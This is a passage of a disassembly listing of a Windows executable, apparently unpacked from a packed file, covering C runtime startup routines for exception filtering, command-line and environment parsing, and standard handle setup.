		mov	dword_46BB08, edi
		jmp	short loc_41CE6C
; ---------------------------------------------------------------------------


loc_41CE56:				; CODE XREF: sub_41CCC7+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41CE6F
; ---------------------------------------------------------------------------


loc_41CE5B:				; CODE XREF: sub_41CCC7+15j
					; sub_41CCC7+37j
		and	dword_46BB08, 0
		mov	dword_46BB04, 9


loc_41CE6C:				; CODE XREF: sub_41CCC7+120j
					; sub_41CCC7+166j ...
		or	eax, 0FFFFFFFFh


loc_41CE6F:				; CODE XREF: sub_41CCC7+4Cj
					; sub_41CCC7+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CCC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CE74	proc near		; CODE XREF: sub_417729+16p
					; sub_41791C+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_46BB08, ecx
		mov	eax, offset dword_43A880


loc_41CE85:				; CODE XREF: sub_41CE74+1Ej
		cmp	ecx, [eax]
		jz	short loc_41CEA9
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43A9E8
		jl	short loc_41CE85
		cmp	ecx, 13h
		jb	short loc_41CEB6
		cmp	ecx, 24h
		ja	short loc_41CEB6
		mov	dword_46BB04, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41CEA9:				; CODE XREF: sub_41CE74+13j
		mov	eax, dword_43A884[edx*8]
		mov	dword_46BB04, eax
		retn
; ---------------------------------------------------------------------------


loc_41CEB6:				; CODE XREF: sub_41CE74+23j
					; sub_41CE74+28j
		cmp	ecx, 0BCh
		jb	short loc_41CED0
		cmp	ecx, 0CAh
		mov	dword_46BB04, 8
		jbe	short locret_41CEDA


loc_41CED0:				; CODE XREF: sub_41CE74+48j
		mov	dword_46BB04, 16h

locret_41CEDA:				; CODE XREF: sub_41CE74+5Aj
		retn
sub_41CE74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CEDB	proc near		; CODE XREF: .text:00417BFBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D01C
		test	eax, eax
		pop	ecx
		jz	loc_41D010
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41D010
		cmp	ebx, 5
		jnz	short loc_41CF0C
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41D019
; ---------------------------------------------------------------------------


loc_41CF0C:				; CODE XREF: sub_41CEDB+23j
		cmp	ebx, 1
		jz	loc_41D00B
		mov	ecx, dword_46BBB8
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_46BBB8, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41CFFB
		mov	ecx, dword_43AA60
		mov	edx, dword_43AA64
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41CF5B
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43A9F0h[esi*4]


loc_41CF52:				; CODE XREF: sub_41CEDB+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41CF52


loc_41CF5B:				; CODE XREF: sub_41CEDB+69j
		mov	eax, [eax]
		mov	esi, dword_43AA6C
		cmp	eax, 0C000008Eh
		jnz	short loc_41CF76
		mov	dword_43AA6C, 83h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CF76:				; CODE XREF: sub_41CEDB+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41CF89
		mov	dword_43AA6C, 81h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CF89:				; CODE XREF: sub_41CEDB+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41CF9C
		mov	dword_43AA6C, 84h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CF9C:				; CODE XREF: sub_41CEDB+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41CFAF
		mov	dword_43AA6C, 85h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CFAF:				; CODE XREF: sub_41CEDB+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41CFC2
		mov	dword_43AA6C, 82h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CFC2:				; CODE XREF: sub_41CEDB+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41CFD5
		mov	dword_43AA6C, 86h
		jmp	short loc_41CFE6
; ---------------------------------------------------------------------------


loc_41CFD5:				; CODE XREF: sub_41CEDB+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41CFE6
		mov	dword_43AA6C, 8Ah


loc_41CFE6:				; CODE XREF: sub_41CEDB+99j
					; sub_41CEDB+ACj ...
		push	dword_43AA6C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43AA6C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41D003
; ---------------------------------------------------------------------------


loc_41CFFB:				; CODE XREF: sub_41CEDB+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41D003:				; CODE XREF: sub_41CEDB+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_46BBB8, eax


loc_41D00B:				; CODE XREF: sub_41CEDB+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D019
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CEDB+Fj
					; sub_41CEDB+1Aj
		push	[ebp+arg_4]
		call	dword_4211A4	; UnhandledExceptionFilter


loc_41D019:				; CODE XREF: sub_41CEDB+2Cj
					; sub_41CEDB+133j
		pop	ebx
		pop	ebp
		retn
sub_41CEDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D01C	proc near		; CODE XREF: sub_41CEDB+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43AA68
		cmp	dword_43A9E8, edx
		push	esi
		mov	eax, offset dword_43A9E8
		jz	short loc_41D049
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43A9E8h[esi*4]


loc_41D03E:				; CODE XREF: sub_41D01C+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41D049
		cmp	[eax], edx
		jnz	short loc_41D03E


loc_41D049:				; CODE XREF: sub_41D01C+16j
					; sub_41D01C+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43A9E8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41D05C
		cmp	[eax], edx
		jz	short locret_41D05E


loc_41D05C:				; CODE XREF: sub_41D01C+3Aj
		xor	eax, eax

locret_41D05E:				; CODE XREF: sub_41D01C+3Ej
		retn
sub_41D01C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D05F	proc near		; CODE XREF: .text:00417BBDp
		cmp	dword_46D174, 0
		jnz	short loc_41D06D
		call	sub_41CC21


loc_41D06D:				; CODE XREF: sub_41D05F+7j
		push	esi
		mov	esi, dword_46D16C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41D09F


loc_41D07A:				; CODE XREF: sub_41D05F+33j
					; sub_41D05F+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41D097
		test	al, al
		jz	short loc_41D097
		movzx	eax, al
		push	eax
		call	sub_41EF4C
		test	eax, eax
		pop	ecx
		jz	short loc_41D07A
		inc	esi
		jmp	short loc_41D07A
; ---------------------------------------------------------------------------


loc_41D097:				; CODE XREF: sub_41D05F+21j
					; sub_41D05F+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41D0A9


loc_41D09C:				; CODE XREF: sub_41D05F+52j
		inc	esi
		jmp	short loc_41D0A9
; ---------------------------------------------------------------------------


loc_41D09F:				; CODE XREF: sub_41D05F+19j
		cmp	al, 20h
		jbe	short loc_41D0A9


loc_41D0A3:				; CODE XREF: sub_41D05F+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41D0A3


loc_41D0A9:				; CODE XREF: sub_41D05F+3Bj
					; sub_41D05F+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41D0B3
		cmp	al, 20h
		jbe	short loc_41D09C


loc_41D0B3:				; CODE XREF: sub_41D05F+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41D05F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B7	proc near		; CODE XREF: .text:00417BA6p
		push	ebx
		xor	ebx, ebx
		cmp	dword_46D174, ebx
		push	esi
		push	edi
		jnz	short loc_41D0C9
		call	sub_41CC21


loc_41D0C9:				; CODE XREF: sub_41D0B7+Bj
		mov	esi, dword_46BB50
		xor	edi, edi


loc_41D0D1:				; CODE XREF: sub_41D0B7+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41D0E9
		cmp	al, 3Dh
		jz	short loc_41D0DC
		inc	edi


loc_41D0DC:				; CODE XREF: sub_41D0B7+22j
		push	esi
		call	sub_415B10
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41D0D1
; ---------------------------------------------------------------------------


loc_41D0E9:				; CODE XREF: sub_41D0B7+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_46BB2C, esi
		jnz	short loc_41D10B
		push	9
		call	sub_417C0E
		pop	ecx


loc_41D10B:				; CODE XREF: sub_41D0B7+4Aj
		mov	edi, dword_46BB50
		cmp	[edi], bl
		jz	short loc_41D14E
		push	ebp


loc_41D116:				; CODE XREF: sub_41D0B7+94j
		push	edi
		call	sub_415B10
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41D147
		push	ebp
		call	sub_415BE9
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41D13A
		push	9
		call	sub_417C0E
		pop	ecx


loc_41D13A:				; CODE XREF: sub_41D0B7+79j
		push	edi
		push	dword ptr [esi]
		call	sub_415A20
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41D147:				; CODE XREF: sub_41D0B7+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41D116
		pop	ebp


loc_41D14E:				; CODE XREF: sub_41D0B7+5Cj
		push	dword_46BB50
		call	sub_415C9B
		pop	ecx
		mov	dword_46BB50, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_46D170, 1
		pop	ebx
		retn
sub_41D0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D170	proc near		; CODE XREF: .text:00417BA1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_46D174, ebx
		push	esi
		push	edi
		jnz	short loc_41D187
		call	sub_41CC21


loc_41D187:				; CODE XREF: sub_41D170+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	dword_42107C	; GetModuleFileNameA
		mov	eax, dword_46D16C
		mov	off_46BB3C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41D1AC
		mov	edi, eax


loc_41D1AC:				; CODE XREF: sub_41D170+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41D209
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415BE9
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41D1DC
		push	8
		call	sub_417C0E
		pop	ecx


loc_41D1DC:				; CODE XREF: sub_41D170+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41D209
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_46BB24, esi
		pop	edi
		pop	esi
		mov	dword_46BB20, eax
		pop	ebx
		leave
		retn
sub_41D170	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D209	proc near		; CODE XREF: sub_41D170+47p
					; sub_41D170+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41D233
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D233:				; CODE XREF: sub_41D209+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D27C


loc_41D238:				; CODE XREF: sub_41D209+58j
					; sub_41D209+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41D26A
		test	dl, dl
		jz	short loc_41D26A
		movzx	edx, dl
		test	byte_46D041[edx], 4
		jz	short loc_41D25D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D25D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41D25D:				; CODE XREF: sub_41D209+46j
					; sub_41D209+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D238
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D238
; ---------------------------------------------------------------------------


loc_41D26A:				; CODE XREF: sub_41D209+36j
					; sub_41D209+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D274
		and	byte ptr [esi],	0
		inc	esi


loc_41D274:				; CODE XREF: sub_41D209+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D2BF
		inc	eax
		jmp	short loc_41D2BF
; ---------------------------------------------------------------------------


loc_41D27C:				; CODE XREF: sub_41D209+2Dj
					; sub_41D209+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D287
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41D287:				; CODE XREF: sub_41D209+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_46D041[ebx], 4
		jz	short loc_41D2A2
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D2A1
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41D2A1:				; CODE XREF: sub_41D209+91j
		inc	eax


loc_41D2A2:				; CODE XREF: sub_41D209+8Bj
		cmp	dl, 20h
		jz	short loc_41D2B0
		test	dl, dl
		jz	short loc_41D2B4
		cmp	dl, 9
		jnz	short loc_41D27C


loc_41D2B0:				; CODE XREF: sub_41D209+9Cj
		test	dl, dl
		jnz	short loc_41D2B7


loc_41D2B4:				; CODE XREF: sub_41D209+A0j
		dec	eax
		jmp	short loc_41D2BF
; ---------------------------------------------------------------------------


loc_41D2B7:				; CODE XREF: sub_41D209+A9j
		test	esi, esi
		jz	short loc_41D2BF
		and	byte ptr [esi-1], 0


loc_41D2BF:				; CODE XREF: sub_41D209+6Ej
					; sub_41D209+71j ...
		and	[ebp+arg_10], 0


loc_41D2C3:				; CODE XREF: sub_41D209+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41D3AC


loc_41D2CC:				; CODE XREF: sub_41D209+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41D2D8
		cmp	dl, 9
		jnz	short loc_41D2DB


loc_41D2D8:				; CODE XREF: sub_41D209+C8j
		inc	eax
		jmp	short loc_41D2CC
; ---------------------------------------------------------------------------


loc_41D2DB:				; CODE XREF: sub_41D209+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41D3AC
		test	edi, edi
		jz	short loc_41D2F0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D2F0:				; CODE XREF: sub_41D209+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41D2F5:				; CODE XREF: sub_41D209+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41D2FE:				; CODE XREF: sub_41D209+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41D307
		inc	eax
		inc	ebx
		jmp	short loc_41D2FE
; ---------------------------------------------------------------------------


loc_41D307:				; CODE XREF: sub_41D209+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D338
		test	bl, 1
		jnz	short loc_41D336
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41D325
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41D325
		mov	eax, edx
		jmp	short loc_41D328
; ---------------------------------------------------------------------------


loc_41D325:				; CODE XREF: sub_41D209+10Dj
					; sub_41D209+116j
		mov	[ebp+arg_0], edi


loc_41D328:				; CODE XREF: sub_41D209+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41D336:				; CODE XREF: sub_41D209+106j
		shr	ebx, 1


loc_41D338:				; CODE XREF: sub_41D209+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41D34D
		inc	ebx


loc_41D340:				; CODE XREF: sub_41D209+142j
		test	esi, esi
		jz	short loc_41D348
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41D348:				; CODE XREF: sub_41D209+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41D340


loc_41D34D:				; CODE XREF: sub_41D209+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41D39D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41D363
		cmp	dl, 20h
		jz	short loc_41D39D
		cmp	dl, 9
		jz	short loc_41D39D


loc_41D363:				; CODE XREF: sub_41D209+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41D397
		test	esi, esi
		jz	short loc_41D386
		movzx	ebx, dl
		test	byte_46D041[ebx], 4
		jz	short loc_41D37F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41D37F:				; CODE XREF: sub_41D209+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D395
; ---------------------------------------------------------------------------


loc_41D386:				; CODE XREF: sub_41D209+162j
		movzx	edx, dl
		test	byte_46D041[edx], 4
		jz	short loc_41D395
		inc	eax
		inc	dword ptr [ecx]


loc_41D395:				; CODE XREF: sub_41D209+17Bj
					; sub_41D209+187j
		inc	dword ptr [ecx]


loc_41D397:				; CODE XREF: sub_41D209+15Ej
		inc	eax
		jmp	loc_41D2F5
; ---------------------------------------------------------------------------


loc_41D39D:				; CODE XREF: sub_41D209+148j
					; sub_41D209+153j ...
		test	esi, esi
		jz	short loc_41D3A5
		and	byte ptr [esi],	0
		inc	esi


loc_41D3A5:				; CODE XREF: sub_41D209+196j
		inc	dword ptr [ecx]
		jmp	loc_41D2C3
; ---------------------------------------------------------------------------


loc_41D3AC:				; CODE XREF: sub_41D209+BDj
					; sub_41D209+D5j
		test	edi, edi
		jz	short loc_41D3B3
		and	dword ptr [edi], 0


loc_41D3B3:				; CODE XREF: sub_41D209+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41D209	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BD	proc near		; CODE XREF: .text:00417B97p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_46BCC0
		push	ebx
		push	ebp
		mov	ebp, dword_42103C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41D40B
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41D3EC
		mov	dword_46BCC0, 1
		jmp	short loc_41D414
; ---------------------------------------------------------------------------


loc_41D3EC:				; CODE XREF: sub_41D3BD+21j
		call	dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41D4E6
		mov	dword_46BCC0, 2
		jmp	loc_41D49A
; ---------------------------------------------------------------------------


loc_41D40B:				; CODE XREF: sub_41D3BD+19j
		cmp	eax, 1
		jnz	loc_41D495


loc_41D414:				; CODE XREF: sub_41D3BD+2Dj
		cmp	esi, ebx
		jnz	short loc_41D424
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41D4E6


loc_41D424:				; CODE XREF: sub_41D3BD+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41D439


loc_41D42B:				; CODE XREF: sub_41D3BD+73j
					; sub_41D3BD+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D42B
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D42B


loc_41D439:				; CODE XREF: sub_41D3BD+6Cj
		sub	eax, esi
		mov	edi, dword_421138
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41D48A
		push	ebp
		call	sub_415BE9
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41D48A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41D486
		push	[esp+18h+var_8]
		call	sub_415C9B
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41D486:				; CODE XREF: sub_41D3BD+B9j
		mov	ebx, [esp+18h+var_8]


loc_41D48A:				; CODE XREF: sub_41D3BD+99j
					; sub_41D3BD+A8j
		push	esi
		call	dword_421044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41D4E8
; ---------------------------------------------------------------------------


loc_41D495:				; CODE XREF: sub_41D3BD+51j
		cmp	eax, 2
		jnz	short loc_41D4E6


loc_41D49A:				; CODE XREF: sub_41D3BD+49j
		cmp	edi, ebx
		jnz	short loc_41D4AA
		call	dword_421040	; GetEnvironmentStringsA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41D4E6


loc_41D4AA:				; CODE XREF: sub_41D3BD+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41D4BA


loc_41D4B0:				; CODE XREF: sub_41D3BD+F6j
					; sub_41D3BD+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D4B0
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D4B0


loc_41D4BA:				; CODE XREF: sub_41D3BD+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41D4D0
		xor	esi, esi
		jmp	short loc_41D4DB
; ---------------------------------------------------------------------------


loc_41D4D0:				; CODE XREF: sub_41D3BD+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_4153F0
		add	esp, 0Ch


loc_41D4DB:				; CODE XREF: sub_41D3BD+111j
		push	edi
		call	dword_4211A8	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41D4E8
; ---------------------------------------------------------------------------


loc_41D4E6:				; CODE XREF: sub_41D3BD+39j
					; sub_41D3BD+61j ...
		xor	eax, eax


loc_41D4E8:				; CODE XREF: sub_41D3BD+D6j
					; sub_41D3BD+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41D3BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4EF	proc near		; CODE XREF: .text:00417B87p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41D50F
		push	1Bh
		call	sub_417C0E
		pop	ecx


loc_41D50F:				; CODE XREF: sub_41D4EF+16j
		mov	dword_46CE20, esi
		mov	dword_46CF20, 20h
		lea	eax, [esi+100h]


loc_41D525:				; CODE XREF: sub_41D4EF+52j
		cmp	esi, eax
		jnb	short loc_41D543
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_46CE20
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41D525
; ---------------------------------------------------------------------------


loc_41D543:				; CODE XREF: sub_41D4EF+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	dword_421164	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41D61F
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41D61F
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41D579
		mov	esi, eax


loc_41D579:				; CODE XREF: sub_41D4EF+86j
		cmp	dword_46CF20, esi
		jge	short loc_41D5D3
		mov	edi, offset dword_46CE24


loc_41D586:				; CODE XREF: sub_41D4EF+DAj
		push	100h
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CD
		add	dword_46CF20, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41D5A4:				; CODE XREF: sub_41D4EF+CFj
		cmp	eax, ecx
		jnb	short loc_41D5C0
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41D5A4
; ---------------------------------------------------------------------------


loc_41D5C0:				; CODE XREF: sub_41D4EF+B7j
		add	edi, 4
		cmp	dword_46CF20, esi
		jl	short loc_41D586
		jmp	short loc_41D5D3
; ---------------------------------------------------------------------------


loc_41D5CD:				; CODE XREF: sub_41D4EF+A4j
		mov	esi, dword_46CF20


loc_41D5D3:				; CODE XREF: sub_41D4EF+90j
					; sub_41D4EF+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41D61F


loc_41D5D9:				; CODE XREF: sub_41D4EF+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D616
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41D616
		test	cl, 8
		jnz	short loc_41D5F8
		push	eax
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41D616


loc_41D5F8:				; CODE XREF: sub_41D4EF+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_46CE20[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41D616:				; CODE XREF: sub_41D4EF+EFj
					; sub_41D4EF+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41D5D9


loc_41D61F:				; CODE XREF: sub_41D4EF+65j
					; sub_41D4EF+71j ...
		xor	ebx, ebx


loc_41D621:				; CODE XREF: sub_41D4EF+195j
		mov	eax, dword_46CE20
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41D67C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41D63C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41D646
; ---------------------------------------------------------------------------


loc_41D63C:				; CODE XREF: sub_41D4EF+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41D646:				; CODE XREF: sub_41D4EF+14Bj
		push	eax
		call	dword_421034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41D66B
		push	edi
		call	dword_421030	; GetFileType
		test	eax, eax
		jz	short loc_41D66B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41D671


loc_41D66B:				; CODE XREF: sub_41D4EF+163j
					; sub_41D4EF+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41D680
; ---------------------------------------------------------------------------


loc_41D671:				; CODE XREF: sub_41D4EF+17Aj
		cmp	eax, 3
		jnz	short loc_41D680
		or	byte ptr [esi+4], 8
		jmp	short loc_41D680
; ---------------------------------------------------------------------------


loc_41D67C:				; CODE XREF: sub_41D4EF+13Ej
		or	byte ptr [esi+4], 80h


loc_41D680:				; CODE XREF: sub_41D4EF+180j
					; sub_41D4EF+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41D621
		push	dword_46CF20
		call	dword_421038	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41D4EF	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


